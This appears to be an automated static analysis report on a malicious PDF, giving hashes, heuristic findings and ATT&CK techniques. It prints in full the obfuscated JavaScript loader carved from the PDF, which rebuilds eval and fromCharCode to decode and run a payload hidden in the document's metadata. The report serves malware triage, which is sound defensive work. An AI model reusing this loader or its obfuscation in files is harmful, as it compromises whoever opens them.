Malicious PDF — malware analysis report

Static analysis result for SHA-256 efb5d31d701aac27…

MALICIOUS

PDF

26.9 KB Created: 2011-04-05 15:41:08 Authoring application: Adobe InDesign CS2 (3.6.5) (via S[+Q~PStHF+*QrinFM@RL@Ig.HF+*QfS[+Q~PromFM@RL@ICharCHF+*QodeS[+Q~P) First seen: 2026-05-08
MD5: 40a8e5c9187b3cb2c8417c9bb056f047 SHA-1: 49cfe791b3ae65fc707e0216d9f933e1a6c512dd SHA-256: efb5d31d701aac271b510979f5b77fde3737d386f013b69ab25aae51eef3724f
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF document contains embedded JavaScript, which is further obfuscated and utilizes an eval() call. This suggests the script is designed to execute arbitrary code, likely to download and run a second-stage payload. The presence of PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL heuristics strongly indicates a JavaScript-based exploit within the PDF. The obfuscated nature of the script and the use of eval() reduce confidence in precisely determining the final payload without dynamic analysis.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval('zebu=t'+mdp+rjh);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x23 1262 bytes
SHA-256: 826fef31516e6903f57f755af88856b393685d6ffcc603cdfcc4aae5c9be968b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
cxpes='';
ynia='';
usu='';
afuh=1995;
mgzes=4;
hukj='S[+Q~P';
umvcn=afuh-mgzes;
var v = afuh-1987;
umvcn=mgzes+1987-1991;
qcx='HF+*Q';
var l = afuh-1991;
var dhoyo='peh';
objso='FM@RL@I';
dzas=umvcn-1991;
mdp='1995s'.replace(afuh,'hi');
rjh='.tit1995'.replace(afuh,'le');
eval('zebu=t'+mdp+rjh);
uhdw=('sub1995').replace(afuh,'ject');
eval('rah=t'+mdp+'.'+uhdw);
rah=rah.replace(afuh,'al');
rah=rah.replace(dhoyo,'e');
eval(eval('wjs=t'+mdp));
eval('bqy=wjs[rah]');
bgcq='.pro1995cer';
bgcq=bqy('bgcq.replace(afuh,"du")');
eval('aio=t'+mdp+bgcq);
aio=aio.replace(hukj,'');
umvcn=umvcn+'dzas';
aio=aio.replace(qcx,'');
dzas=umvcn+'qcx'+'(hukj)';
aio=aio.replace(objso,'');
vrvcx='qixil'+'objso'+'(qcx)';
qixil=vrvcx+'hukj'+'(objso)';
aio=aio.replace(hukj,'');
qixil='qcx'+dhoyo+dzas;
aio=aio.replace(qcx,'');
acqpu='qixil'+'qixil'+objso;
aio=aio.replace(objso,'');
qixil=vrvcx+'hukj'+'(afuh)'
aio=aio.replace(hukj,'');
twvr='acqpu'+'acqpu'+hukj;
aio=aio.replace(qcx,'');
rtrt='twvr'+'acqpu'+qcx;
aio=aio.replace(objso,'');
abjfd=bqy(aio);
uyu = zebu.split(',');
for (asam = mgzes; asam < uyu.length; asam++) {
  mlcd = bqy(uyu[asam]);
  ynia += abjfd(mlcd);
}
acqpu=bgcq+'1995twvr';
bqy(ynia);
acqpu='rtrt';

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